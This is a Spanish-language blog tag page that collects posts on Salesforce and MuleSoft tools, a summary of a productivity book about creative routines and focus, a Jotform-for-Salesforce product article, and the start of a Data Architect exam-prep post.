Skip to content

Etiqueta: DF

BootPIG: Bootstrapping Zero-shot Personalized Image Generation Capabilities in Pretrained Diffusion Models (Capacidad de generación de imágenes personalizadas de disparo cero en modelos de difusión preentrenados)

Presentamos una arquitectura novedosa, BootPIG, que permite la generación de imágenes personalizadas sin necesidad de ajuste fino en tiempo de prueba.

Seguir leyendo

Mejore su experiencia MuleSoft con IA ☁️

Mejore su experiencia MuleSoft con IA ☁️

En el mundo de la IA, que se desarrolla rápidamente, MuleSoft está evolucionando sus capacidades de integración, gestión de API e IA.

En el mundo de la IA, MuleSoft está evolucionando sus capacidades de integración, gestión de API e IA

The post Acelere su viaje a MuleSoft con IA appeared first on Blog de Desarrolladores de Salesforce.

Seguir leyendo

Cómo crear un proceso de ventas que consiga acuerdos en todo momento

Aprenda los pasos correctos desde la investigación hasta el cierre, y perfeccione las estrategias que aumentan las tasas de éxito.

Seguir leyendo

30 preguntas y respuestas de entrevistas a analistas de negocio

La demanda de analistas de negocio de Salesforce ha crecido a un ritmo elevado. Las organizaciones de Salesforce han evolucionado y se han vuelto más complejas. Como resultado, existe una mayor necesidad de evaluar los cambios deseados y obtener una visión completa de la situación, para asegurarse de que todo el mundo está de acuerdo. Esta es la razón por la que las organizaciones deben buscar […]

El post 30 Business Analyst Interview Questions & Answers appeared first on Salesforce Ben.

Seguir leyendo

¿Quieres cerrar el año con fuerza? Estos expertos te enseñan cómo

Obtenga consejos de expertos en ventas de primer nivel que le ayudarán a alcanzar sus objetivos a medida que cierra el año.

Seguir leyendo

Cómo Manejar Tu Día a Día Sin Enloquecer

Si el mundo ha cambiado, la forma de trabajar tampoco puede seguir siendo la que era antes de la revolución digital. El mundo de hoy no tiene nada que ver con el mundo en que vivieron los grandes creativos que admiramos. Para ellos era más sencillo evitar las distracciones y trabajar en relativa paz y concentración. En la era de internet y los smartphones, es más difícil encontrar el entorno ideal para desarrollar nuestros proyectos personales. Encuentra en este resumen del libro Manage Your Day -to- Day de Jocelyn Glei, 

A menudo cuando hablamos de problemas en nuestro proceso creativo, no hablamos de problemas en la generación de ideas, sino en la ejecución de nuestra idea.

LA ERA DEL TRABAJO REACTIVO

A veces podemos gastar gran parte del día trabajando de forma reactiva: controlamos el correo electrónico, visitamos nuestro perfil en Instagram, Facebook, Twitter, Telegram, echamos un ojo a whatsapp, alguna tarea rutinaria, y ya no queda tiempo para nada más.

Estar siempre conectado trae muchas ventajas, pero también desventajas: sólo tenemos tiempo para contestar y reaccionar, y no nos queda tiempo para pensar y actuar.

LA IMPORTANCIA DE UNA RUTINA

El trabajo creativo requiere de mucho tiempo para llegar a un buen resultado.

lo que te permite lograr ese resultado es la rutina.

Es por esto que, por ejemplo, Ernest Hemingway escribía 500 palabras todas las mañanas.

Y de eso hablaba Picasso cuando decía que la musa solía encontrarlo trabajando.

Una rutina efectiva te ayuda a entrar en el flow sin perder tiempo y sin gastar mucha fuerza de voluntad.

Gracias a una rutina de trabajo optimizada puedes poner en marcha tu flujo de trabajo de forma automática.

No tienes que esperar la inspiración, tienes que crear un entorno y un sistema que la favorezca.

EL SÍNDROME «INBOX ZERO»

¿Has intentado alguna vez “adelantar trabajo”?

Y ¿cuántas veces te has conseguido adelantar todo el trabajo posible, y has tenido por fin tiempo libre para dedicarte a ese proyecto que tenías abandonado?

Me temo que pocas veces.

Además, hay veces que adelantas trabajo para que luego te cambien el briefing, y lo que has hecho ya no vale: hubiera sido mejor no hacer nada…

¿Te suena?

La verdad es que adelantar trabajo es a menudo una gilipollez falacia.

Es meterse en la rueda del hámster y empezar a correr, sin parar nunca.

De la misma forma, las ganas de despejar el camino te pueden llevar a abrir el correo a primera hora de la mañana: sin darte cuenta acabarás por entregar tu tiempo a las prioridades de otras personas.

Que a veces no coinciden exactamente con tus prioridades…

LUCHANDO CONTRA EL E-NEMIGO

Si la mañana es el momento donde tu creatividad y productividad están a tope, malgastarla así es un crimen.

Pero no es así para todo el mundo: hay quien trabaja mejor por las noches.

Así que te toca identificar cuáles son tus horas más productivas.

Esto a menudo quiere decir invertir la forma de trabajar: empezar con el trabajo importante y no urgente, y dejar el trabajo reactivo para después.

Muchas veces hacemos al revés y nos ocupamos de tareas simples, para tener la ilusión de ser productivos.

Hace falta fuerza de voluntad para resistir a la incómoda – y engañosa – sensación que hay clientes esperando.

Pero es mejor decepcionar a unos pocos sobre cosas no esenciales, que renunciar a tus sueños para tener la bandeja de entrada vacía.

Según un estudio de 2012, los trabajadores gastan de promedio el 28% de su tiempo escribiendo, leyendo o contestando a correos.


¿Un pequeño truco para llegar a inbox cero en pocos minutos? Archiva todos tus correos en la carpeta de «archivados» y ya tendrás la bandeja vacía. En Gmail ya tienes esa carpeta por defecto, pero si no la tienes la puedes crear. Si quieres acceder a tus correos, los seguirás viendo en esa carpeta. En tu bandeja de entrada sólo tendrás los últimos mensajes.


No sacrifiques tu potencial por una ilusión de profesionalidad.

El email es como una extensión de nuestro cerebro. Lo malo es cuando pretendemos estar a la altura de ese yo digital, que puede manejar mucha más información que nuestro yo real.

A menudo tenemos la tentación de guardar muchos correos just in case, por si volvemos a leerlos, por si es algo útil, para acordarnos de una posible idea o herramienta,…

Sin embargo, tenemos que aceptar que al ritmo al que fluye la información, es difícil que eso pase. Y aunque volviéramos a mirarlo en un futuro, es posible que para cuando lo hagamos las cosas hayan cambiado, y ya exista otra herramienta, otra manera de hacer las cosas,…

Para hacer una limpieza con criterio, tenemos que tener claros nuestro objetivos. Si los tenemos por escrito, mejor.

La regla más importante para que tu bandeja de entrada te ayude a lograr tu objetivo es esta: las oportunidades que te distraen tienen que morir para que tus objetivos más importantes puedan sobrevivir.  

No hay sitio para todo.

El mundo laboral actual nos obliga a vivir en una paradoja permanente: para avanzar, tenemos al mismo tiempo que luchar contra las distracciones y ceder frente a ellas (mirando por ejemplo nuestro buzón de correo).

Seguro que pensarás que necesitas mirar tu buzón para poder realizar tu trabajo: emails de clientes, del jefe, de tus compañeros de trabajo, noticias sobre tu sector,…

Pero todas esas comunicaciones solo te ayudan, o te cortan el ritmo y te distraen?

¿Cuál es el coste de esa pérdida de foco?

Lo que en realidad buscamos es la gratificación aleatoria que proporcionan los buzones de entrada del correo o cualquier red social.

Además, somos yonkis de la comodidad.

Hemos elegido ser esclavos de la comodidad y eso tiene un precio.

En todos los trabajos se tiende a abusar del email y los correos de grupo: consideramos sólo la comodidad y posibles ventajas, sin pensar a lo que pueden costar en términos de productividad.

El hecho de que pueda existir un beneficio nos parece suficiente para justificar la práctica.

En el sector de los conocimientos no tenemos unas métricas claras que nos ayuden a medir los costes.

Nuestras conductas se miden entonces sobre la conveniencia a corto plazo más que sobre el valor a largo plazo.  

Eliminar 10 mensajes de nuestra bandeja de entrada nos da la impresión de progresar, cuando si lo pensamos detenidamente eso no está para nada claro.

DESCUBRIENDO TU RITMO PRODUCTIVO.

Tenemos que recordarnos a nosotros mismos que no somos una máquina.

A veces parece que los textos sobre productividad quieren entrenarnos para volvernos rígidos y eficientes como máquinas.

Los seres humanos no somos máquinas – los creativos menos todavía – y seguir esos consejos sólo nos provocará frustración.

Tenemos que aprender a reconocer y seguir nuestros ciclos de productividad.

Eso es fácil de hacer, aunque requiere de fuerza de voluntad para ponerlo en marcha: simplemente hay que apuntar durante una semana la horas en la que trabajamos más a gusto.

Necesitamos identificar si conseguimos mejores resultados por la mañana, la tarde o la noche, y apuntar cuánto tiempo podemos trabajar a tope antes de que nos entren ganas de desconectar.

Es difícil que sea más de 1 hora. Cuando identifiquemos esos ratos, sabremos cada cuánto tiempo necesitamos descansar, y qué momentos dedicar al trabajo más importante.

En mi caso, 50 minutos es la extensión ideal para trabajar del tirón. Luego mi concentración baja y me entran ganas de distraerme.

La mente humana está más preparada para trabajar en sprints que en maratones.

Nuestra eficiencia y creatividad vuelven a recargarse si alternamos trabajo creativo y trabajos reactivo.

Y también es importante aprender a desconectar de la conexióncuando nos conectamos a la red, nos desconectamos de nosotros mismos, perdiendo una oportunidad para reflexionar.

Y en el caso de un trabajo creativo esto puede significar perder la oportunidad para tener una voz personal, y seguir lo que hacen los demás.

Nada tiene que tener más influencia sobre nosotros que nuestra propia intuición.

En esta era de la constante conexión, la capacidad para desconectar y pararse a pensar es otra ventaja competitiva.

EL INCREÍBLE PODER DE LA REPETICIÓN

¿Conoces esta frase?

Tenemos la tendencia a sobrestimar lo que podemos lograr en el día, y a subestimar lo que podemos lograr en un año»

Para que esa frase sea cierta, es necesario que se cumpla una condición: que trabajemos de forma consistente.

A largo plazo, el trabajo constante impulsa nuestra productividad y creatividad.

La repetición o frecuencia nos proporciona unas grandes ventajas.

LAS 3 GRANDES VENTAJAS DEL TRABAJO DIARIO

  1. Trabajar todos los días en tu proyecto hace que sea más fácil empezar.

¿Has notado que a veces, aunque tengas tiempo, no lo aprovechas para trabajar en tu proyecto personal?

Y que cada vez que tienes que arrancar un proyecto nuevo te cuesta horrores, sin embargo al cabo de unos días, cuando por fin ya has arrancado, trabajas sin problemas?

Empezar un proyecto nuevo es duro, y también lo es volver a ello tras una pausa.

Eliminar esas pausas te ayuda a mantener las ganas y la motivación.

2) Trabajar todos los días en tu proyecto te quita presión.

Si trabajas en tu proyecto solo de vez en cuando, cuando lo haces sientes presión por sacar algo de mucha calidad.

Si trabajas todos los días no tienes esa sensación: si un día no obtienes resultados, no pasa nada. Tienes el día siguiente para hacerlo mejor.

3) Trabajar todos los días en tu proyecto te ayuda a trabajar todos los días en tu proyecto

Si no dejas pasar muchos días sin trabajar en tu proyecto, no necesitarás tiempo para volver al flow, podrás empezar enseguida.

Y esa puede ser una ventaja tremenda: no necesitarás de mucho tiempo para lograr avances.

Es esto un concepto que, si lo pones en práctica, te puede transformar en un arma de creación masiva.

A veces aparcamos nuestro proyecto porque sentimos que no tenemos nunca un tiempo suficientemente extendido como para lograr algo.

«Sólo tengo media hora», nos decimos. «Eso no me alcanza para nada».

Si trabajamos media hora al mes eso es verdad: no avanzaremos nada, ni siquiera será suficiente  para concentrarnos y volver al punto donde lo dejamos.

Si trabajamos todos los días, nos concentramos casi al instante.

Y avanzaremos paso a paso, podremos ver nuestros progresos y eso nos ayudará a ser más productivos porque veremos que sí somos realmente capaces de hacerlo.

Sin embargo, la ansiedad que produce postergar hace que cada vez sea más difícil arrancar.

Lo que haces cada día es más importante de lo que haces de vez en cuando»

Día tras día, construimos nuestra vida. Día tras día, podemos transformar nuestra idea en realidad.

Todo eso es lo que dice la famosa frase de Aristóteles:

Somos lo que hacemos repetidas veces. La excelencia por lo tanto no es un acto, sino un hábito»

Puede haber días donde nos digamos a nosotros mismos que no vamos a trabajar en nuestro proyecto porque no nos sentimos inspirados.

Ser creativos cuando la inspiración acompaña es fácil, sin embargo sólo podemos ser “pros” de la creatividad si trabajamos también cuando no nos sentimos inspirados.

LA SOLEDAD DEL CREATIVO

Reservar momentos para estar solos, sin aparatos e internet, también tiene ventajas.

Es esencial aprender a reconocer nuestro impulso de interrumpir el trabajo o hacer multitasking, y resistirlo.

¿Porqué muchos recomiendan meditar?

La práctica de la meditación ayuda a reconocer los pensamientos que llegan a nuestra cabeza y a no interactuar con ellos.

Lo mismo habría que hacer con el impulso de cambiar de tarea o mirar el móvil: tendríamos que tomar conciencia del impulso, y no caer en tentación.

(Nota: estuve 365 días meditando 15 minutos todos los días. Resultado: ninguno. El último día lo hacía igual de mal igual que el primero: sin conseguir ralentizar la mente y contener la ola de pensamientos. Uno de estos días volveré a intentarlo…)

FOCO Y DISTRACCIONES: LA PARADOJA DE LA PRODUCTIVIDAD

La información consume la atención del receptor. Una abundancia de informaciones crea escasez de atención»

Esta frase es de 1971, pero describe muy bien el mundo de hoy: tenemos una fuente de infinitas distracciones instalada en nuestro medio de trabajo (nuestro ordenador), y otra en nuestro bolsillo….

La atención es uno de nuestros bienes más preciados.

Si piensas que las compañías más grandes del mundo – Google, Facebook, Netflix – ganan más dinero cuanto más consiguen distraernos y conquistar nuestra atención, tienes una idea de la magnitud del problema.

Nuestra capacidad de atención es nuestra ventaja competitiva: quien mejor la sabe salvaguardar será el que conseguirá resultados, mientras los demás se quedarán consumiendo entretenimiento.

FOCUS BLOCKING

Quizás ya estés familiarizado con la técnica del Time Blocking.

Podemos añadir a eso el enfoque que Cal Newport llama «Focus Blocking».

El Focus Blocking consiste en marcar en el calendario las horas de trabajo creativo y otorgarles el mismo peso que las horas dedicadas a reuniones: las interrupciones no están permitidas.

Tenemos que empezar con bloques pequeños e ir ampliando poco a poco.

No podemos admitir ni la más mínima interrupción.

Para eso, es mejor quitar las notificaciones y el acceso a internet.

Cuando es posible, lo mejor sería poder trabajar con papel y lápiz para evitar las distracciones de internet y trabajar en un lugar dedicado específicamente para estos trabajos sin distracciones. Además, es conveniente trabajar en una tarea específica identificada de forma previa.

Tenemos que convencer nuestra mente de que no está permitida ni la más mínima distracción.

Si miramos Facebook o Instagram aunque solo por unos minutos, deberíamos cancelar la sesión e intentarlo en otro momento.

EL MITO DEL MULTITASKING

El multitasking no existe.

Sólo se pueden hacer dos cosas a la vez si una de las dos es realmente automática, como por ejemplo caminar.

De lo contrario, no estarás haciendo multitasking sino simplemente task switching, pasando de una tarea a otra. En este caso, la bajada de la productividad es asegurada.

Resistir a la tentación de mirar el móvil o el correo merma nuestra concentración y fuerza de voluntad.

La única alternativa real que tenemos es la de eliminar las tentaciones de raíz.

Para poder pasar a otra tarea, deberíamos llegar primero a un punto donde no nos queda nada pendiente. De lo contrario nuestro cerebro seguiría dándole vueltas, mermando nuestra capacidad de atención y productividad. Es lo que se conoce como «attentional residue effect«.

Para no perder el foco y evitar las tentaciones del multitasking, es útil tener constancia de nuestros avances.

El problema es que en el trabajo digital a veces esto es complicado: si estamos trabajando en un texto, siempre tendremos delante nuestro la versión actual, y eso hace que sea difícil visualizar los avances.

Tendremos entonces que establecer nuestros propios «indicadores de progreso». Por ejemplo, podríamos empezar cada día una versión nueva del mismo documento.

SOCIAL MEDIA MINDFULNESS

Tenemos a menudo la tentación de ojear las redes sociales para desconectar un rato.

Cuando lo hacemos, a veces nos despertarnos del trance media hora después – o más – sin saber muy bien cómo hemos acabado allí.

Es difícil resistir a la tentación: es más fuerte el miedo a perdernos algo (FOMO) y el mono de un buen chute de endorfinas… Los impulsos a resistir son muchos.

Para luchar contra eso podemos acercarnos a las redes con mindfulness: tenemos que darnos cuenta de las razones por las cuales estamos a punto de enchufarnos, y decidir de antemano qué queremos lograr. Si navegamos sin un objetivo, es más fácil correr el riesgo de quedarnos atrapados.

También puede ser conveniente seleccionar con cuidado a quienes seguimos en las redes: estamos dejando que esas personas entren en nuestro cerebro y modifiquen nuestros pensamientos.

El smartphone en manos de malos jefes y malos compañeros es cómo una correa electrónica.

Nos hace perder la distinción entre lo importante y lo urgente y lo importante: todo parece urgente.

Y cuando elegimos dedicar nuestro tiempo en lo urgente, estamos dando más importancia a las prioridades de otras personas en lugar que las nuestras.

Ocuparse de esas tareas urgentes es el camino más fácil.

Y el camino más fácil siempre es una trampa.

CÓMO IMPULSAR TU CREATIVIDAD Y SUPERAR BLOQUEOS

Es imposible ser creativo y superar problemas exclusivamente a base de fuerza de voluntad.

Es por eso que es importante configurar una rutina para salirse de la rutina, trabajar en proyectos personales por simple diversión, callar nuestro crítico interior y las tendencias al perfeccionismo.

Muchos de los que tienen un trabajo creativo trabajan para clientes o empresas para ganarse un sueldo.

El problema es que en ese papel sólo utilizamos una parte de nuestras posibilidades creativas.

Para ir más allá, es fundamental trabajar para la audiencia más importante: nosotros mismos.

No esperemos que nuestro trabajo para otros satisfaga todos nuestros deseos creativos: eso no va a ocurrir.

LA CREACIÓN INNECESARIA

Para satisfacer nuestras aspiraciones creativas necesitamos la Creación Innecesaria.

La Creación Innecesaria nos permite:

  • Tener la libertad de experimentar nuevas posibilidades
  • Tomar riesgos
  • Desarrollar nuevas habilidades (esto puede ser difícil en el trabajo remunerado donde suelen pagar para obtener resultados predecibles)
  • Lograr tener una voz propia (la presión del mundo corporativo nos empuja a mirar lo que están haciendo otros en lugar de buscar caminos personales)

Dedicar tiempo a un proyecto personal parece una elección poco eficiente porque de hecho, es una elección ineficiente.

Sin embargo, cada elección que hagas tiene un coste de oportunidad.

Consideremos por lo tanto cuál puede ser el coste de vivir nuestra vida eligiendo el pragmatismo: podemos gastar nuestro tiempo satisfaciendo las expectativas de los demás en lugar de avanzar en el descubrimiento de nuestras capacidades creativas.

Si queremos empezar un side project, deberíamos hacerle sitio: lo mejor sería agendarlo en nuestro calendario. De lo contrario, tendremos la tentación, cuando tengamos un rato de tiempo, de procrastinar y hacer otras tareas más fáciles.

Necesitamos tomar conciencia:

A menudo no tenemos tiempo porque es más conveniente no tenerlo. Quizás no queramos desafiarnos a nosotros mismos»
Stefan Stegmeister

JotForm: potentes formularios en línea y automatización del flujo de trabajo para Salesforce

JotForm: potentes formularios en línea y automatización del flujo de trabajo para Salesforce

Última actualización el 8 de septiembre de 2023 por Rakesh Gupta

Salesforce es la solución CRM basada en ventas, marketing y operaciones más sólida y completa disponible. Los límites de lo que puede hacer con los datos de sus clientes (una vez que están en Salesforce) están limitados únicamente por su imaginación y habilidad para navegar por el ecosistema.

Pero no hay dos organizaciones iguales. Cada uno tiene sus propias necesidades, desde simples hasta complejas, desde la captura de clientes potenciales hasta la coordinación de eventos. Y la forma en que ingresa sus datos en Salesforce (tipo de integración, creación de objetos, coincidencia de campos, llenado previo, etc.) puede marcar la diferencia en cuanto a si sus flujos de trabajo de CRM realmente automatizan su trabajo pesado y le ahorran tiempo valioso o lo atascan con tareas manuales.

Es un motivo de orgullo para nosotros que miles de organizaciones sin fines de lucro, proveedores de servicios, empresas de atención médica y más hayan confiado en Jotform para canalizar los datos de sus clientes a Salesforce a lo largo de los años.

Jotform ahora está disponible en AppExchange de Salesforce para una experiencia de creación de formularios completamente nueva e intuitiva.

Beneficios de Jotform para Salesforce de un vistazo

Con Jotform en Salesforce AppExchange, sus flujos de trabajo experimentarán una verdadera automatización de extremo a extremo, lo que ayudará a su organización a lograr sus objetivos más rápido.

He aquí por qué le encantará Jotform para Salesforce:

  1. Esta nueva solución de formulario, integrada automáticamente con sus objetos y campos de Salesforce, elimina el cambio de plataforma.
  2. Con las automatizaciones líderes en la industria de Jotform directamente en su entorno Salesforce, puede crear flujos de trabajo más confiables y productivos.
  3. La integración de datos automatizada entre sus formularios de cara al cliente y su base de datos de Salesforce garantiza precisión y ahorro de tiempo (lo que significa ahorro de dinero).
  4. La aplicación de Jotform se alinea con los estándares de seguridad de Salesforce y juntos ofrecemos cumplimiento normativo y seguridad de datos de CRM y formularios líderes en la industria.
  5. ¡Puedes probar la aplicación Jotform para Salesforce gratis!

Si usted es una organización sin fines de lucro que digitaliza aplicaciones de quienes las necesitan, un B2B que recopila clientes potenciales y activos de video, un proveedor de atención médica que registra información de pedidos y facturas de consultorios médicos, o una empresa líder con más de 50,000 clientes, Jotform para Salesforce está diseñado para escale con sus necesidades.

¿Quién debería utilizar Jotform para Salesforce?

Insinuamos que industrias como las organizaciones sin fines de lucro y la atención médica son grandes usuarios de la integración heredada de Salesforce de Jotform. Pero realmente cualquier persona en cualquier industria que ya use Salesforce debería usar esta versión mejorada de la integración.

Además de sincronizar contactos y clientes potenciales estándar , a continuación se muestran algunos casos de uso de muestra.

Industria Usos de Jotform y Salesforce
Sin ánimo de lucro Las organizaciones sin fines de lucro pueden sincronizar donaciones, solicitudes, registros de programas y material adicional de eventos que recopilan a través de Jotform con Salesforce. También pueden utilizar las aplicaciones de donación de Jotform y las automatizaciones del flujo de trabajo de aprobación dentro de Salesforce.
Cuidado de la salud Tanto los profesionales de la salud como los proveedores utilizan Jotform para crear facturas y formularios de citas compatibles con HIPAA. Pueden sincronizar datos de contactos relacionados con objetos personalizados en Salesforce.
Ventas Un flujo de trabajo automatizado de Jotform y Salesforce para clientes potenciales es fundamental para cualquier equipo de ventas. Además, Ventas   recibe propuestas de presupuestos así como formularios de pedido de nuevos clientes. Pueden volver a atraer a su base de clientes actual con formularios precargados.
Servicios financieros Las empresas de servicios financieros utilizan ambas soluciones para calificar y gestionar la creación de préstamos y actualizar la información existente de los clientes, utilizando lógica condicional y formularios PDF inteligentes.
B2B/gestión de eventos Las empresas orientadas a servicios asignan envíos de registro a objetos personalizados y registran comentarios de encuestas en Salesforce.
Consultores Los usos aquí van desde la creación de formularios que pueden integrarse en un sitio web hasta soluciones de firma electrónica y el llenado previo de datos utilizando información de Salesforce.
Agencias y mesas comerciales Estas empresas venden servicios, cobran pagos y solicitudes y luego mapean y rastrean a sus solicitantes en Salesforce.

Creando su primer formulario de Salesforce

No solo todas sus automatizaciones de Jotform están disponibles dentro de su instancia de Salesforce, sino que una gran característica nueva de Jotform para Salesforce es el tipo de formulario único de Salesforce dentro de la aplicación.

Desde la página de inicio de Mis formularios , haga clic en el botón Crear formulario como lo haría normalmente. Ahora verá la opción Crear formulario de Salesforce , que le permite crear un formulario que se integra automáticamente con sus objetos de Salesforce.

Imagen de la página de inicio 'Mis formularios' con el botón 'Crear formulario', resaltando la nueva opción 'Crear formulario de Salesforce' para la integración automática con objetos de Salesforce

Esta nueva opción es perfecta para asignar de manera eficiente sus campos de Salesforce a sus formularios. Permite una sincronización de campos más sencilla desde sus formularios con clientes potenciales, contactos, cuentas u otros objetos/registros personalizados, dejando atrás conexiones de integración complejas.

Simplemente seleccione los objetos que se adapten a sus necesidades y agréguelos a su nuevo formulario. Los objetos son básicamente mini bases de datos. Cada base de datos contiene campos relevantes para el objeto.

En este formulario de ejemplo de Salesforce, seleccioné tres objetos: Cliente potencial , Evento y Adjunto . No hay límite para la cantidad de objetos que puede seleccionar para satisfacer sus necesidades de datos.

Captura de pantalla de un formulario de ejemplo de Salesforce con tres objetos seleccionados

Una vez que haya seleccionado todos sus objetos (y haya verificado los campos dentro de ellos para obtener los datos que desea en su formulario), haga clic en Crear formulario . Su nuevo formulario mostrará todos los campos que ha seleccionado.

Por ejemplo, cuando alguien envía mi nuevo formulario de cliente potencial, sus detalles completarán automáticamente los objetos en mi base de datos de Salesforce.

Captura de pantalla que ilustra cómo un formulario de cliente potencial enviado completa automáticamente los objetos de base de datos de Salesforce seleccionados

¿Necesita actualizar o editar su formulario? Utilice el nuevo ícono de Salesforce dentro del creador de formularios para actualizar sus objetos. Puede cambiar o agregar campos dentro de sus objetos existentes o agregar otros nuevos.

Imagen que resalta el ícono de Salesforce en el creador de formularios

Cuando haga clic en Siguiente , tendrá la opción de activar Actualizar registro para evitar duplicados en su base de datos.

También puede hacer clic en el botón Agregar acción para crear un nuevo registro, actualizar uno existente o buscar un registro existente.

Imagen que muestra el botón 'Agregar acción' para ver opciones para crear, actualizar o buscar un registro de base de datos.
Anuncio de Jotform para Salesforce Imagen-1
[contenido incrustado]

La ventaja de Jotform, ahora en Salesforce

Si bien otras soluciones de AppExchange pueden ayudarlo a importar datos a Salesforce, creemos que la calidad y el alcance de nuestras automatizaciones de flujo de trabajo marcan la diferencia.

Por ejemplo, ahora es fácil completar previamente sus formularios de forma segura dentro de la interfaz de Salesforce.

Simplemente vaya a la pestaña Publicar , acceda a Precompletar desde el menú de la izquierda, elija Salesforce Precompletar y cargue la información de contacto y cliente potencial que necesita en sus formularios. Como ya está en Salesforce, no es necesaria ninguna autenticación de cuenta.

Se ha demostrado que rellenar previamente formularios ofrece mayores tasas de conversión de formularios y una mayor precisión de los clientes potenciales (además de actualizar sus contactos de Salesforce o los detalles de su empresa con nueva información).

Para profundizar más,obtenga más información sobre cómo completar previamente formularios con sus objetos de Salesforce.

captura de pantalla de algunos logotipos de pasarelas de pago

Si está cobrando pagos, puede agregar una de las más de 40 integraciones de pagos a sus formularios de Salesforce. Personalice los campos en sus objetos para indicar si se ha cobrado una tarifa al enviar el formulario o registre el monto pagado en los campos de su objeto.

Captura de pantalla que muestra cómo crear un acuerdo de Jotform Sign en Salesforce

Cree un acuerdo de Jotform Sign dentro de Salesforce que se configure automáticamente para la aprobación de las partes interesadas internas. Recopilará documentos firmados que mantendrán el trabajo en movimiento y la productividad en sus niveles más altos.

Estas y otras automatizaciones basadas en formularios, como la generación de PDF, Jotform Approvals, Jotform Apps y Report Builder, junto con los nuevos formularios de Salesforce, continúan optimizando sus flujos de trabajo mientras se adaptan a sus necesidades únicas de Salesforce de maneras innovadoras.

Si trabaja para una organización empresarial que utiliza Salesforce como CRM, obtenga más información sobre Jotform Enterprise en Salesforce AppExchange .

Consejos para trabajar en Salesforce

¿Nuevo en Salesforce? Esta potente solución puede ayudar a su organización a gestionar los procesos y la participación de los clientes de muchas maneras, pero empezar puede resultar desalentador.

A continuación se ofrecen algunos consejos útiles que debe tener en cuenta si recién está comenzando:

  1. Fijación de objetivos . Defina cómo se ve el éxito para sus necesidades y flujos de trabajo. Catalogue los datos que está importando y mapee cómo le gustaría administrarlos. Esto le brindará una visión integral de sus flujos de trabajo ideales para que pueda separar las necesidades de los deseos.
  2. Considere un consultor . No todo el mundo tiene el presupuesto para una consultoría. Pero si lo hace, tener un asesor a mano puede ahorrarle mucho tiempo. Además, pueden capacitar a sus partes interesadas para que el conocimiento pueda transmitirse en el futuro.
  3. Entrena . Cada organización tiene expertos en la materia, así que ¿por qué no crear sus propios gurús de Salesforce? Haga que aquellos que quieran aprender nuevas habilidades comiencen con recursos gratuitos disponibles en Trailblazer Community , YouTube, TikTok y más.
Anuncio de Jotform para Salesforce Image-2

Conclusión

Jotform para Salesforce mejora su experiencia ofreciendo

  • Captura de datos perfecta a través de formularios dentro de la interfaz de Salesforce. Esto facilita el mapeo de campos y la transferencia de datos a clientes potenciales, contactos y objetos personalizados.
  • Generación de leads mejorada . Simplemente inserte sus formularios de Salesforce en el sitio web de su empresa (o en las redes sociales). Su equipo de ventas puede realizar un seguimiento fácil de los flujos de datos en tiempo real.
  • Calidad de datos mejorada a través de un mapeo de campo preciso a través de la aplicación Jotform. Sus equipos ya no necesitarán ingresar datos manualmente.
  • Una experiencia de usuario integrada . Tener acceso a todas las funciones de Jotform dentro de Salesforce elimina la necesidad de cambiar de plataforma, lo que simplifica el proceso.

Si ya es cliente pago de Jotform con una integración de Salesforce, podrá instalar Jotform en AppExchange y comenzar a usarlo ahora (los consultores son una excepción).

Para aquellos con un plan Jotform Starter, pueden disfrutar de hasta cinco formularios y 100 envíos mensuales por nuestra cuenta; sin embargo, deberá actualizar a un plan pago si desea aumentar el uso, el espacio de almacenamiento o la cantidad de usuarios.

Si sus necesidades exceden lo disponible con el plan Starter, puede unirse a cualquiera de los siguientes planes para un solo usuario:

  • Bronce: $39/mes
  • Plata: $49/mes
  • Oro: $129/mes

Las organizaciones sin fines de lucro califican automáticamente para descuentos. Y para aquellos que requieren acceso a toda la empresa o un enfoque personalizado, Jotform ofrece soluciones empresariales; Hable con alguien hoy para obtener más información.

Pruebe Jotform para Salesforce hoy y díganos cómo se siente al respecto. Además, no dude en comentarnos en AppExchange.

Chris es creador y comercializador de contenidos en Jotform y cree en la escritura creativa como fuerza para el cambio positivo. Al poseer una experiencia profesional y un conjunto de habilidades diversas, Chris produce un liderazgo intelectual galardonado. El cine, los viajes, el diseño y la buena comida y vino con amigos se encuentran entre sus amores.

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es lo que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntete libre de compartir en los comentarios a continuación.

Seguir leyendo

Preparación para el examen de arquitecto de datos certificado de Salesforce

Preparación para el examen de arquitecto de datos certificado de Salesforce

Ha estado en mi mente por un tiempo, ya que para mí esta certificación era la última que me faltaba por adquirir en la ruta de Arquitecto de Aplicaciones (da la casualidad de que también tengo el certificado "opcional" de Experience Cloud).

Tener muchas cosas sucediendo en este momento y anhelar algo de espacio mental fue el detonante que el otro día me hizo decir: “Bueno, también puedo intentarlo; Ojalá se me quite de la cabeza de una vez por todas”. Aprendería de cualquier manera, ¡eso es seguro!

Y esto pasó…

¡Uf!

Algunas personas se han acercado para preguntar sobre la preparación para el examen y la orientación, por eso escribo esto aquí para tratar de ayudar a otros.

El contexto es clave

Cualquier certificación de examen que hago está dentro de contexto, con eso me refiero a haber trabajado ya durante algún tiempo en el producto en cuestión.

"Somos lo que hacemos repetidamente. La excelencia, entonces, no es un acto sino un hábito." -Aristóteles

Así es como funciona mi cerebro; de lo contrario, lo encuentro como una actividad abstracta que depende principalmente de la memoria más que de la experiencia. Y bueno, después de todo, soy un Scrum Master, ¡el empirismo existe!

"Salesforce recomienda encarecidamente una combinación de experiencia laboral, asistencia a cursos y autoestudio para maximizar sus posibilidades de aprobar el examen". —Comienzo del sendero

Guía de examen

La oración anterior proviene de la guía del examen; solía ser un PDF, pero ahora el contenido está integrado en Trailhead.

La guía del examen es SIEMPRE tu punto de partida, me sorprende cuánta gente no usa este recurso (¡algunos ni siquiera saben que existe! ¡¿Cómo?!).

La guía del examen está diseñada para ayudarlo a evaluar SI está listo para completar con éxito el examen. Y le brinda un desglose de todas las secciones y temas que se cubrirán, y también de lo que se espera de usted. Por ejemplo en este en particular:

La credencial de Arquitecto de datos certificado de Salesforce está destinada al arquitecto que evalúa el entorno y los requisitos de la arquitectura; y diseña soluciones sólidas, escalables y de alto rendimiento en la plataforma Customer 360. El Arquitecto también tendrá experiencia trabajando con lo siguiente:

  • Modelado de datos y diseño de bases de datos
  • Gestión de datos maestros
  • Gestión de datos de Salesforce
  • Dato de governancia
  • Consideraciones sobre grandes volúmenes de datos
  • Migración de datos

El arquitecto tiene experiencia en comunicar soluciones y diseñar compensaciones a empresas y partes interesadas de TI.

Incluso tienes el esquema del examen donde puedes ampliar cada sección (aquí es donde está lo bueno):

Recursos

